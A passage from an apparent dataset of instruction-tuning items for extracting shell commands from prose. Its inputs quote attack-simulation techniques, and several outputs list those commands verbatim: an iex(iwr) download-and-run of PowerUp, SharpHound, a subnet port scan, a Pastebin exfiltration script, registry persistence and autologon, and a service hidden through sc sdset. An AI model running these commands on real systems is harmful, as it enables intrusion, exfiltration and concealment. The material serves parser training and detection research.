$env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For scanning common ports across a /24 subnet, the script below can be used. It automatically detects the primary IPv4 address if none is specified, and includes a timeout parameter to speed up the scan: $ipAddr = \"#{ip_address}\"\nif ($ipAddr -like \"*,*\") {\n $ip_list = $ipAddr -split \",\"\n $ip_list = $ip_list.ForEach({ $_.Trim() })\n Write-Host \"[i] IP Address List: $ip_list\"\n\n $ports = #{port_list}\n\n foreach ($ip in $ip_list) {\n foreach ($port in $ports) {\n Write-Host \"[i] Establishing connection to: $ip : $port\"\n try {\n $tcp = New-Object Net.Sockets.TcpClient\n $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n } catch {}\n if ($tcp.Connected) {\n $tcp.Close()\n Write-Host \"Port $port is open on $ip\"\n }\n }\n }\n} elseif ($ipAddr -notlike \"*,*\") {\n if ($ipAddr -eq \"\") {\n # Assumes the \"primary\" interface is shown at the top\n $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\n Write-Host \"[i] Using Interface $interface\"\n $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\n }\n Write-Host \"[i] Base IP-Address for Subnet: $ipAddr\"\n $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.'))\n # Always assumes /24 subnet\n Write-Host \"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\"\n\n $ports = #{port_list}\n $subnetIPs = 1..254 | ForEach-Object { \"$subnetSubstring$_\" }\n\n foreach ($ip in $subnetIPs) {\n foreach ($port in $ports) {\n try {\n $tcp = New-Object Net.Sockets.TcpClient\n $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\n } catch {}\n if ($tcp.Connected) {\n $tcp.Close()\n Write-Host \"Port $port is open on $ip\"\n }\n }\n }\n} else {\n Write-Host \"[Error] Invalid Inputs\"\n exit 1\n}; You can verify if remote desktop services are running by executing this command: Get-Service -Name \"Remote Desktop Services\", \"Remote Desktop Configuration\"", "output": "{\"command_list\": [\"$ipAddr = \\\"#{ip_address}\\\"\\nif ($ipAddr -like \\\"*,*\\\") {\\n $ip_list = $ipAddr -split \\\",\\\"\\n $ip_list = $ip_list.ForEach({ $_.Trim() })\\n Write-Host \\\"[i] IP Address List: $ip_list\\\"\\n\\n $ports = #{port_list}\\n\\n foreach ($ip in $ip_list) {\\n foreach ($port in $ports) {\\n Write-Host \\\"[i] Establishing connection to: $ip : $port\\\"\\n try {\\n $tcp = New-Object Net.Sockets.TcpClient\\n $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n } catch {}\\n if ($tcp.Connected) {\\n $tcp.Close()\\n Write-Host \\\"Port $port is open on $ip\\\"\\n }\\n }\\n }\\n} elseif ($ipAddr -notlike \\\"*,*\\\") {\\n if ($ipAddr -eq \\\"\\\") {\\n # Assumes the \\\"primary\\\" interface is shown at the top\\n $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1\\n Write-Host \\\"[i] Using Interface $interface\\\"\\n $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress\\n }\\n Write-Host \\\"[i] Base IP-Address for Subnet: $ipAddr\\\"\\n $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)\\n # Always assumes /24 subnet\\n Write-Host \\\"[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'\\\"\\n\\n $ports = #{port_list}\\n $subnetIPs = 1..254 | ForEach-Object { \\\"$subnetSubstring$_\\\" }\\n\\n foreach ($ip in $subnetIPs) {\\n foreach ($port in $ports) {\\n try {\\n $tcp = New-Object Net.Sockets.TcpClient\\n $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null\\n } catch {}\\n if ($tcp.Connected) {\\n $tcp.Close()\\n Write-Host \\\"Port $port is open on $ip\\\"\\n }\\n }\\n }\\n} else {\\n Write-Host \\\"[Error] Invalid Inputs\\\"\\n exit 1\\n}\", \"Get-Service -Name \\\"Remote Desktop Services\\\", \\\"Remote Desktop Configuration\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Available network shares can be displayed in the PowerShell session by executing this command: get-smbshare; You can check all resources shared on the local computer by using the command: net share\n", "output": "{\"command_list\": [\"get-smbshare\\n\", \"net share\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n After installing dsquery through Windows RSAT or the Windows Server AD DS role, domain trusts can be discovered by executing: dsquery * -filter \"(objectClass=trustedDomain)\" -attr *; After installing nltest through Windows RSAT or the Windows Server AD DS role, execute these commands to reveal domain trusts, a technique known to be used by the Trickbot malware family:\nnltest /domain_trusts\nnltest /trusted_domains\n", "output": "{\"command_list\": [\"dsquery * -filter \\\"(objectClass=trustedDomain)\\\" -attr *\\n\", \"nltest /domain_trusts\\nnltest /trusted_domains\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test performs data exfiltration to Pastebin with the command:\n$apiKey = \"#{api_key}\"\n$content = \"secrets, api keys, passwords...\"\n$url = \"https://pastebin.com/api/api_post.php\"\n$postData = @{\n api_dev_key = $apiKey\n api_option = \"paste\"\n api_paste_code = $content\n}\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\nWrite-Host \"Your paste URL: $response\"\n; As described in MDSEC's research, Outlook macros can be weaponized for persistence by adjusting registry settings and placing a specific file. The required configuration can be achieved with this command sequence: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Security\\Level\" /t REG_DWORD /d 1 /f\nmkdir %APPDATA%\\Microsoft\\Outlook\\ >nul 2>&1\necho \"Atomic Red Team TEST\" > %APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM", "output": "{\"command_list\": [\"$apiKey = \\\"#{api_key}\\\"\\n$content = \\\"secrets, api keys, passwords...\\\"\\n$url = \\\"https://pastebin.com/api/api_post.php\\\"\\n$postData = @{\\n api_dev_key = $apiKey\\n api_option = \\\"paste\\\"\\n api_paste_code = $content\\n}\\n$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData\\nWrite-Host \\\"Your paste URL: $response\\\"\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\\\" /t REG_DWORD /d 1 /f\\nmkdir %APPDATA%\\\\Microsoft\\\\Outlook\\\\ >nul 2>&1\\necho \\\"Atomic Red Team TEST\\\" > %APPDATA%\\\\Microsoft\\\\Outlook\\\\VbaProject.OTM\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For LockBit Black, you can turn off the Privacy Settings Experience with the command: reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f; Configure automatic logon settings via Registry Editor by executing these commands: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /t REG_SZ /d Administrator /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /t REG_SZ /d password1 /f", "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultUserName /t REG_SZ /d Administrator /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" /v DefaultPassword /t REG_SZ /d password1 /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For setting up a user whose username includes a trailing space, run the command: New-LocalUser -Name \"Administrator \" -NoPassword; By running the following commands, you can create a service and modify its security descriptor to prevent it from appearing in service enumeration tools:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"", "output": "{\"command_list\": [\"New-LocalUser -Name \\\"Administrator \\\" -NoPassword\", \"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n 